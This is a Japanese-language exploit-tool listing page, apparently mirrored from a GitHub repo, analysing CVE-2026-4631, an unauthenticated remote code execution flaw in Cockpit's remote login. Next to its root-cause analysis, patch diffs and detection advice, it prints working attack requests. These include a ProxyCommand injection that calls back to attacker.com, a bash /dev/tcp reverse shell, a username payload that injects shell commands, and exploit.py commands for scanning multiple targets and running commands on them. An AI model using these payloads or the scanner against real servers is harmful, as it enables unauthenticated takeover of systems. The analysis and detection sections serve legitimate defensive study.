Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: SSHコマンドライン引数インジェクションによる未認証のリモートコード実行 | Kitploit
ツール/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミング
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: SSHコマンドライン引数インジェクションによる未認証のリモートコード実行

リポジトリを見る
1464ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-4631 — コード解析

Cockpit: SSHコマンドライン引数インジェクションによる認証不要のリモートコード実行

フィールド詳細
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
深刻度Critical (CVSS 9.8)
影響を受けるバージョンCockpit 327 – 359
修正バージョンCockpit 360
CWECWE-78: OSコマンドインジェクション
認証要件不要
報告者Jelle van der Waa

目次

  1. 脆弱性の概要
  2. アーキテクチャの背景
  3. 根本原因の分析
  4. 脆弱なコード — ファイル別
  5. 攻撃ベクトル
  6. データフロー図
  7. パッチ分析
  8. 検出
  9. 攻撃ベクトル
  10. 参考情報

1. 脆弱性の概要

Cockpitのリモートログイン機能は、ユーザーが指定したホスト名(URLパスから)とユーザー名(Authorization: Basicヘッダーから)を、検証やサニタイズなしでOpenSSHのsshバイナリに直接渡します。

ポート9090へのネットワークアクセスを持つ認証されていない攻撃者は、単一のHTTPリクエストを作成して以下を実行できます:

  • ホスト名フィールドを介して任意のSSHオプションを注入(-oProxyCommand=<cmd>)
  • ユーザー名フィールドを介してSSHの%rトークン展開を悪用しシェルコマンドを注入

両方の注入ポイントは資格情報の検証が完了する前に発火するため、有効なログインは不要です。


2. アーキテクチャの背景

通常のリモートログインフロー

Auth-flow

バージョン327での変更点

バージョン327より前では、Cockpitはリモート接続にcockpit-sshと呼ばれる専用のCバイナリ(libsshベース)を使用していました。バージョン327以降、これは以下に置き換えられました:

root@kitploit:~
python3 -m cockpit.beiboot

これはシステムのOpenSSH sshクライアントを呼び出します。この変更により、新しいコードパスがユーザー制御の値をサニタイズなしで直接sshに渡すため、脆弱性が発生しました。


3. 根本原因の分析

問題1 — ホスト名の前に--セパレータがない

SSHクライアントは、--セパレータが先行しない限り、-で始まる引数をホスト名ではなくオプションとして解釈します。--がない場合、-で始まるホスト名はSSHフラグとして解析されます。

脆弱な構造:

root@kitploit:~
ssh [options] <hostname> <remote-command>

安全な構造:

root@kitploit:~
ssh [options] -- <hostname> <remote-command>

問題2 — 入力検証がない

cockpit-ws(Cコード)もcockpit.beiboot(Pythonコード)も以下を検証またはサニタイズしません:

  • URLパスから抽出されたホスト名
  • Authorization: Basicヘッダーから抽出されたユーザー名

問題3 — Python argparseのバグ(CPython #66623)

既知のCPythonバグにより、argparseは-で始まりスペースを含む引数をフラグではなく位置引数として誤って処理します。これにより、-oProxyCommand=evil commandというホスト名がPythonの引数解析を通過し、オプションとしてsshに到達できます。


4. 脆弱なコード — ファイル別

4.1 src/cockpit/beiboot.py — 主要な注入ポイント

これは最も重要なファイルです。via_ssh()関数がSSHコマンドの引数リストを構築します。

脆弱なコード(パッチ適用前)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  脆弱: ホストの前に'--'がない
        # host = "-oProxyCommand=evil"の場合、sshはそれをオプションとして扱う
        destination = ['-p', port, host]

    else:
        #  脆弱: 攻撃者の生の入力が直接sshに渡される
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

結果として生成されるSSH呼び出し

dest = "-oProxyCommand=curl http://attacker.com/id"の場合:

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpitオプション
arg2: -oProxyCommand=curl http://...   ←  SSHオプションとして解析される(ホストではない)
arg3: python3 -ic '# cockpit-bridge'   ← "ホスト名"になる → ProxyCommandをトリガー

修正コード(バージョン360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  修正済み: '--'により以降のすべてが位置引数として強制される
        destination = ['-p', port, '--', host]

    else:
        #  修正済み: '--'セパレータが追加された
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — Cレイヤー: ホスト名の抽出

このCファイルは初期のHTTPリクエスト解析を処理し、beibootプロセスを起動します。

URLからのホスト名抽出(検証なし)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // URLパスから"cockpit+="以降のすべてを抽出
    //  文字検証なし — ダッシュ、特殊文字が許可される
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

返されたホスト名は、beibootを起動する際に引数として直接渡されます:

root@kitploit:~
// cockpit_ws_ssh_programは起動コマンドのテンプレート
//  脆弱: ホスト名がサニタイズなしで追加される
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        末尾の'--'がないため、ホスト名がフラグとして
//                        Pythonのargparse(CPython #66623)に解析される可能性がある

バージョン360で修正

root@kitploit:~
//  修正済み: 末尾の'--'によりホスト名が常に位置引数になる
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Authorizationヘッダーからのユーザー名抽出(検証なし)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Authorization: Basic base64(user:password)をデコード
        //  'user'の検証なし — セミコロン、特殊文字が許可される
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user'は資格情報に渡され、最終的に'ssh -l <user>'に渡される
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  サニタイズされていない
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — 3番目の注入ポイント

バンドルされているfernyライブラリ(SSH操作に使用)にも、サブプロセス呼び出しで同じ--の欠落があります。

脆弱なコード(パッチ適用前)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIREは一般的に利用できないため、setsidを使用
    process = await asyncio.create_subprocess_exec(
        #  脆弱: ハードコードされたパス + 宛先の前に'--'がない
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

修正コード(バージョン360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  修正済み: ハードコードされたパスの代わりにPATH検索 + '--'が追加された
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — コンテナデプロイメントパス

このスクリプトは、Docker/コンテナベースのCockpitデプロイメントで使用される認証コマンドです。

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# 環境からホストを抽出
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  脆弱: 同じ根本原因 — ホストがサニタイズされずにbeibootに渡される
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

これはメインのbeiboot.pyパスとは別のエントリポイントであり、メインのコードパスでパッチが適用された場合でも、Cockpitのコンテナデプロイメントは独立して脆弱です。


5. 攻撃ベクトル

ベクトル1 — ホスト名 → ProxyCommandインジェクション

前提条件: Cockpitホスト上のOpenSSH < 9.6(OpenSSH 9.6でシェルのメタ文字をブロックする早期ホスト名検証が導入されました)。

HTTPリクエスト:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

デコードされたAuthorization: invalid:invalid — 任意の値で動作します。

動作の仕組み:

  1. cockpit-wsがURLパスから-oProxyCommand=<COMMAND>を"ホスト名"として抽出
  2. beibootのvia_ssh()がssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'を構築
  3. SSHが-oProxyCommand=<COMMAND>をオプションとして解析(ホストではない)
  4. SSHがpython3 -ic '# cockpit-bridge'をホスト名として使用
  5. SSHがその"ホスト名"に接続する際に<COMMAND>をProxyCommandとして実行
  6. <COMMAND>がcockpit-wsプロセスのユーザーとして実行

例 — OOBコールバック:

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

デコードされたProxyCommand: curl http://attacker.com/id``

例 — リバースシェル:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

デコードされたProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


ベクトル2 — ユーザー名 → %rトークンインジェクション

前提条件: ターゲットのssh_configに%rトークン(リモートユーザー名)を使用するMatch execディレクティブが含まれている。

脆弱なssh_configの例:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

HTTPリクエスト:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

デコードされたAuthorization: x; touch /tmp/pwned; #:invalid

抽出されたユーザー名: x; touch /tmp/pwned; #

動作の仕組み:

  1. SSHがMatch execコマンドを実行する前に%rをユーザー名で展開
  2. シェルが/usr/bin/test x; touch /tmp/pwned; # = blocked_userを受け取る
  3. シェルがセミコロンを解釈: touch /tmp/pwnedを実行し、残りを無視
  4. SSHは後でユーザー名の形式を拒否 — ただしコマンドはすでに実行済み

6. データフロー図

Auth-bypass


7. パッチ分析

修正は最小限です — SSHが呼び出されるすべての場所で、宛先引数の前に--(POSIXのオプション終了セパレータ)を追加します。

パッチ1 — src/cockpit/beiboot.py(コミット9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

パッチ2 — src/ws/cockpitauth.c(コミット9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

パッチ3 — vendor/ferny/src/ferny/session.py(コミット44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

--が修正する理由

--トークンは、引数パーサー(PythonのargparseとOpenSSHのオプションパーサーの両方)に、後続のすべてのトークンがオプションではなく位置引数であることを伝えます。--の後、-oProxyCommand=evilのような値はリテラルのホスト名文字列として扱われ、SSHはそれを無効として拒否します — 何も実行されません。


8. 検出

ネットワークレベルの検出

CockpitのログインエンドポイントへのHTTPリクエストで、パスコンポーネントにSSHオプション構文が含まれているものを探します:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

特に以下に注意:

  • URLパス内の-oProxyCommand=(ベクトル1)
  • Authorization: Basicのデコード値内のセミコロン(ベクトル2)

ログ検出(journald)

root@kitploit:~
# 疑わしい引数を持つbeibootの起動を確認
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# cockpit-wsユーザーからのSSH呼び出しを確認
journalctl _COMM=ssh | grep -v "^--$"

バージョン確認

root@kitploit:~
# インストールされているバージョンが脆弱かどうかを確認
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# バージョンが327から359の間(両端を含む)の場合、脆弱

rpm -q cockpit-ws
# 同じバージョン確認が適用されます

9. 攻撃ベクトル

単一ターゲットのスキャン

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

ファイルから複数ターゲットのスキャン

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

OOBを使用した検出

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

攻撃ベクトル1 — ユーザー名 → %rトークンインジェクション

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

緩和策(パッチ適用が即時でない場合)

/etc/cockpit/cockpit.confに以下を追加:

root@kitploit:~
[WebService]
LoginTo = false

これによりリモートログイン機能が完全に無効化され、beibootコードパスがトリガーされるのを防ぎます。


10. 参考情報

リソースURL
OSS-Security開示https://www.openwall.com/lists/oss-security/2026/04/10/5
GitHubセキュリティアドバイザリhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Bugzillaの問題https://bugzilla.redhat.com/show_bug.cgi?id=2450246
修正コミット(cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
修正コミット(ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython argparseのバグhttps://github.com/python/cpython/issues/66623
OpenSSH 9.6ホスト名検証https://github.com/openssh/openssh-portable/commit/7ef3787
ツールをダウンロード